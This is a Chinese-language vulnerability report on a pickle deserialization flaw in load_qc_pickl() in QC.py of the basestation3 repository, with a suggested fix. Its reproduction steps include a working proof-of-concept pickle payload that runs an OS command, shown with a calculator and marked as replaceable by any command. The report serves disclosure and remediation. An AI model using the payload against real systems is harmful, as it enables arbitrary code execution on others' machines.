### 关键信息总结 #### 漏洞描述 - **问题**: 在 `QC.py` 文件的 `load_qc_pickl()` 函数中,使用了 Python 的 `pickle.load()` 方法来反序列化文件数据,但没有进行验证或清理输入。 - **影响**: 如果攻击者提供一个恶意的 pickle 文件,当文件被加载时,可以执行任意代码,导致远程代码执行 (RCE) 漏洞。 #### 漏洞代码片段 ```python def load_qc_pickl(qc_file): try: f1 = open(qc_file, "rb") except Exception: return None ret_list = [] while True: try: x = pickle.load(f1) except EOFError: break ``` #### 影响 - 任意代码执行 - 如果攻击者能控制 `qc_file`,可能导致远程系统被攻陷 #### 受影响组件 - 文件: `QC.py` - 函数: `load_qc_pickl(qc_file)` - 使用 `pickle.load()` 时未进行输入验证 #### 复现步骤 1. 克隆仓库: `git clone https://github.com/iop-apl-uw/basestation3` 2. 进入 `basestation3` 目录: `cd basestation3` 3. 创建恶意 `qc.pkl` 文件: ```python import pickle import os class Evil: def __reduce__(self): return (os.system, ("gnome-calculator",)) # 替换为任何 OS 命令 payload = pickle.dumps(Evil()) with open("qc.pkl", "wb") as f: f.write(payload) ``` 4. 创建并运行 `exploit.py` 文件: ```python from QC import load_qc_pickl load_qc_pickl("/root/CVE/qc.pkl") ``` 5. 观察计算器是否打开,确认任意命令可被执行。 #### 建议修复方案 - 避免使用 `pickle` 加载不可信数据。 - 如果必须进行序列化/反序列化,使用安全替代方案如 `json.load()` 或自定义二进制格式,并进行验证。